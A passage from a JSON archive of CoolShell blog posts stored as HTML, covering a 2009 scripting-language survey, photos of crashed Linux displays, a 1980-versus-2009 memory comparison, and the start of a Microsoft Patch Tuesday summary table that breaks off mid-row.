href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/67.html\">几个你可能从来没有用过的HTML标识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-1 2009年脚本语言排名.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ease.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/extensibility.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/maintainability.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/availability.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/performance.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/quality.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/security.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a>EDC（Evan Data Corporation）发布了一份脚本语言的调查报告，这个调查报告调查了500个以上的开发者和IT专家，在这份调查表中，PHP, Ruby和Python成为了前三强。这个调查总共调查了这些脚本语言：Actionscript, Flex, Javascript, Microsoft F#, Microsoft Powershell, Perl, PHP, Python, Ruby, VB Script。主要评估以下这些方面：</p>\n<li>易用性。Ease of Use <a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"><img alt=\"overall\" class=\"alignright size-medium wp-image-330\" height=\"185\" src=\"../wp-content/uploads/2009/04/overall-300x185.jpg\" title=\"overall\" width=\"300\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a></li>\n<li>异常处理。Exception handling</li>\n<li>扩展性。Extensibility</li>\n<li>可维护性和易读性。Maintainability / Readability</li>\n<li>跨平台。Cross-platform portability</li>\n<li>社区。Community</li>\n<li>实用性。Availability of tools</li>\n<li>质量。Quality of tools</li>\n<li>性能。Performance</li>\n<li>内存管理。Memory management</li>\n<li>客户端脚本。Client side scripting</li>\n<li>安全性。Security</li>\n<p><span id=\"more-325\"></span></p>\n<p>下面是一些关于这份调查表的图示：（关于整个报告，大家可以到这里下载：<a href=\"http://www.evansdata.com/reports/viewRelease_download.php?reportID=18\">http://www.evansdata.com/reports/viewRelease_download.php?reportID=18</a>）</p>\n<p>对于综合性的排名，报告中说到“<strong>排名向前的都是一些开源的语言，因为开源所发发展得非常快也很不错。而排名靠后的则是一些私有的，收费的语言</strong>”</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"><img alt=\"overall\" height=\"436\" src=\"../wp-content/uploads/2009/04/overall.jpg\" title=\"overall\" width=\"707\"/></a></p>\n<p> 下面是各个评估方面的排名。（我只从报告中抽取了几个方面）</p>\n<p><strong>易用性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ease.jpg\"><img alt=\"ease\" height=\"354\" src=\"../wp-content/uploads/2009/04/ease.jpg\" title=\"ease\" width=\"740\"/></a></p>\n<p><strong>扩展性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/extensibility.jpg\"><img alt=\"extensibility\" height=\"387\" src=\"../wp-content/uploads/2009/04/extensibility.jpg\" title=\"extensibility\" width=\"832\"/></a></p>\n<p> </p>\n<p><strong>可维护性/易读性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/maintainability.jpg\"><img alt=\"maintainability\" height=\"377\" src=\"../wp-content/uploads/2009/04/maintainability.jpg\" title=\"maintainability\" width=\"840\"/></a></p>\n<p><strong>实用性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/availability.jpg\"><img alt=\"availability\" height=\"384\" src=\"../wp-content/uploads/2009/04/availability.jpg\" title=\"availability\" width=\"861\"/></a></p>\n<p><strong>性能</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/performance.jpg\"><img alt=\"performance\" height=\"379\" src=\"../wp-content/uploads/2009/04/performance.jpg\" title=\"performance\" width=\"841\"/></a></p>\n<p> </p>\n<p><strong>质量</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/quality.jpg\"><img alt=\"quality\" height=\"388\" src=\"../wp-content/uploads/2009/04/quality.jpg\" title=\"quality\" width=\"864\"/></a></p>\n<p> </p>\n<p><strong>安全</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/security.jpg\"><img alt=\"security\" height=\"399\" src=\"../wp-content/uploads/2009/04/security.jpg\" title=\"security\" width=\"885\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/325.html\">2009年脚本语言排名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-1 Linux的“宕机”图片.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_2.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_3.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_4.jpg\"></a>下面是几个Linux的“宕机”的图片，原文在：<a href=\"http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html\">http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html</a></p>\n<p>这里，我并不想以讹传讹，因为有一些并不是真正的Crash，可能只是重启，而另一些图片根本看不清楚是否是Linux，不过，如果不是在重启，的确不应该出现这些操作系统的信息。不算怎么样，我们就姑且相信这些图片都是Linux的不是吧。Linux也会Crash这点毋庸置疑，不过，在看到这些画面的同时，同样也能让人看到Linux的应用之广泛。</p>\n<p>下面这是一个运行着Linux的PC，看上去他死的很古怪，好像是中了病毒。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_1.jpg\"><img alt=\"linux_crash_1\" height=\"480\" src=\"../wp-content/uploads/2009/04/linux_crash_1.jpg\" title=\"linux_crash_1\" width=\"640\"/></a></p>\n<p><span id=\"more-313\"></span></p>\n<p>接下来的是一飞机上的Linux，我看当然可以在下面的图片中看到左上角那个很经典的小企鹅。这架飞机是空客330。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_2.jpg\"><img alt=\"linux_crash_2\" height=\"480\" src=\"../wp-content/uploads/2009/04/linux_crash_2.jpg\" title=\"linux_crash_2\" width=\"640\"/></a></p>\n<p> </p>\n<p>下面这个Crash的截屏可能并不是真正的Crash（似乎这个屏幕并没有完全死翘翘，只不过是收到了一个11的信号，然后整个Console就死掉了）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_3.jpg\"><img alt=\"linux_crash_3\" height=\"480\" src=\"../wp-content/uploads/2009/04/linux_crash_3.jpg\" title=\"linux_crash_3\" width=\"640\"/></a></p>\n<p> </p>\n<p>又是一个飞机上的linux 截屏，虽然用手机拍的照片很模糊，不过，我们还是能看到那只小企鹅。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_4.jpg\"><img alt=\"linux_crash_4\" height=\"477\" src=\"../wp-content/uploads/2009/04/linux_crash_4.jpg\" title=\"linux_crash_4\" width=\"640\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_63_2.jpg\"><img alt=\"linux_crash_63_2\" height=\"477\" src=\"../wp-content/uploads/2009/04/linux_crash_63_2.jpg\" title=\"linux_crash_63_2\" width=\"640\"/></a></p>\n<p>接下来的这个图片是火车和地铁上的显示屏，可能是linux的吧。是否Crash不确定，不过，的确没有正常工作。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_train_52_2.jpg\"><img alt=\"linux_crash_train_52_2\" height=\"477\" src=\"../wp-content/uploads/2009/04/linux_crash_train_52_2.jpg\" title=\"linux_crash_train_52_2\" width=\"640\"/></a></p>\n<p>下面是地铁上的播放显示器。（应该是播放广告和到站信息的显示屏）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_82_2.jpg\"><img alt=\"linux_crash_82_2\" height=\"424\" src=\"../wp-content/uploads/2009/04/linux_crash_82_2.jpg\" title=\"linux_crash_82_2\" width=\"640\"/></a></p>\n<p>下面是一个掌上游戏机，是否crash不可而知，不过的确不应该出现linux的启动信息。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_bonus_22_2.jpg\"><img alt=\"linux_bonus_22_2\" height=\"477\" src=\"../wp-content/uploads/2009/04/linux_bonus_22_2.jpg\" title=\"linux_bonus_22_2\" width=\"640\"/></a></p>\n<p>电话机，看似这个电话很强大，还有键盘。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_132_1.jpg\"><img alt=\"linux_crash_132_1\" height=\"480\" src=\"../wp-content/uploads/2009/04/linux_crash_132_1.jpg\" title=\"linux_crash_132_1\" width=\"640\"/></a></p>\n<p>下面这个是买炸薯条的快餐店，看了一下左右的，应该是报价的显示屏吧。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_102_2.jpg\"><img alt=\"linux_crash_102_2\" height=\"426\" src=\"../wp-content/uploads/2009/04/linux_crash_102_2.jpg\" title=\"linux_crash_102_2\" width=\"640\"/></a></p>\n<p>文章：<a href=\"http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/313.html\">Linux的“宕机”图片</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-10 1980年和2009年的1GB电脑内存的比较.html",
    "content": "<html><body><p>从1980年到现在，我们的科技到底进步了多少：）</p>\n<p>下面这个图说明了1980年大机的1GB的内存和2009年的1GB的内存。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/?attachment_id=412\" rel=\"attachment wp-att-412\"><img alt=\"1gb-computer-memory\" class=\"aligncenter size-full wp-image-412\" height=\"614\" src=\"../wp-content/uploads/2009/04/1gb-computer-memory.jpg\" title=\"1gb-computer-memory\" width=\"819\"/></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3713.html\"><img alt=\"你会问问题吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3713.html\">你会问问题吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2135.html\"><img alt=\"Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2135.html\">Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17583.html\"><img alt=\"技术人员的发展之路\" height=\"150\" src=\"../wp-content/uploads/2016/12/people-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17583.html\">技术人员的发展之路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2964.html\"><img alt=\"25个jQuery的编程小抄\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2964.html\">25个jQuery的编程小抄</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/410.html\">1980年和2009年的1GB电脑内存的比较</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-10 4月14日，微软补丁日.html",
    "content": "<html><body><p>下周二，微软准备release至少8个以上的安全补丁，如下表所示。目前没有太多的信息，不过，我们知道的是其中Excel的那个BUG早在2月份的时候就报告了，<a href=\"http://www.microsoft.com/technet/security/advisory/968272.mspx\">http://www.microsoft.com/technet/security/advisory/968272.mspx</a>，可是这么长的时候后才有patch。哎。</p>\n<p>这次的BUG数之多，覆盖面之广（包括IE，Office，DirectX，Windows …），看来，下周二各个公司的IT部门又有得忙了。</p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n<tbody>\n<tr>\n<td bgcolor=\"#cccccc\" style=\"background: #cccccc; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">编号</span></span></strong></p>\n</td>\n<td bgcolor=\"#cccccc\" style=\"background: #cccccc; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">严重程度</span></span></strong></p>\n</td>\n<td bgcolor=\"#cccccc\" style=\"background: #cccccc; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">攻击方式</span></span></strong></p>\n</td>\n<td bgcolor=\"#cccccc\" style=\"background: #cccccc; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">重启</span></span></strong></p>\n</td>\n<td bgcolor=\"#cccccc\" style=\"background: #cccccc; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">影响的软件*</span></span></strong></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows1</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows, Microsoft Office</span></span></p>\n</td>\n</tr>\n<tr>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows2</span></span></p>\n</td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows3</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n<p></p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">可能需要重启</span></span></p>\n<p></p></span></span></td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n<tr>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">IE</span></span></p>\n</td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows, Internet Explorer</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Excel</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: 